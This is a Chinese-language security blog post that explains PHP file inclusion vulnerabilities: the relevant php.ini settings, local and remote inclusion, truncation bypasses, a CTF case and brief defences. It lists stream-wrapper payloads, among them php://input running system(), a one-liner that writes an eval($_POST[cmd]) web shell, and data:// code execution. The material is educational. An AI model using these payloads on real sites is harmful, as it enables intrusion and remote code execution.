type
status
date
slug
summary
tags
category
icon
password
0x00 漏洞产生原因
文件包含解析漏洞,往往会造成网站的信息泄露,执行命令等,原因是因为在网站中间件的配置文件例如php.ini里面的函数造成,漏洞的存在要保证一下两个函数处于开启状态
allow_url_fopen = On:
通俗来讲,allow_url_fopen函数是允许http://和ftp://将url中当作文件处理,
allow_url_include = Off:
allow_url_include是允许include/require打开URL也将其组为文件处理,
include函数:多次包含 include_once()一次包含
Include()函数可以获取指定的文件中的所有文本,并把文本拷贝到使用include()函数的文件中。当包含遇到错误,如包含文件不存在时,include()函数会生成警告,但是脚本继续执行。
require函数:多次包含 require_once()一次包含
Require()函数同样接受所有的文本文件,并且也将文件复制到使用函数的文件中,但是当此函数遇到错误时,如被包含文件不存在,require()函数会爆出错误,并且脚本停止执行。
文件包含的分类: 本地包含:127.0.0.1/?filename=../../../1.txt (当作php执行) 远程包含:危害更大:127.0.0.1/?filename=http://www.xxx.com/1.txt)
简单绕过: %00截断:条件:magic_quotes_gpc = Off php版本<5.3.4 filename=…/…/…/www.txt%00 长度截断:条件:windows,点号需要长于256;linux 长于4096
http://127.0.0.1:8080/include.php?filename=http://www.kxsy.work/readme.txt%20 http://127.0.0.1:8080/include.php?filename=http://www.kxsy.work/readme.txt%23 http://127.0.0.1:8080/include.php?filename=http://www.kxsy.work/readme.txt?
0x01 文件包含解析漏洞-百度杯-CTF案例
> 首先介绍文件包含协议流玩法:
> #https://www.cnblogs.com/endust/p/11804767.html http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
> http://127.0.0.1:8080/include.php?filename=php://input Post:<?php system('ver')?>
> <?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>');?>
> http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
> http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>
题目页面:
发现path传参,通过get传参不行,需要以post方式传参,这里利用上面协议流filename=php://input Post: 漏洞尝试 发现可疑文件
利用漏洞读取函数获取flag
0x02 漏洞防范
1.固定后缀
2.固定文件
3.部署WAF产品
- 作者:告白
- 链接:https://www.gbsec.top/article/%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E8%A7%A3%E6%9E%90
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
相关文章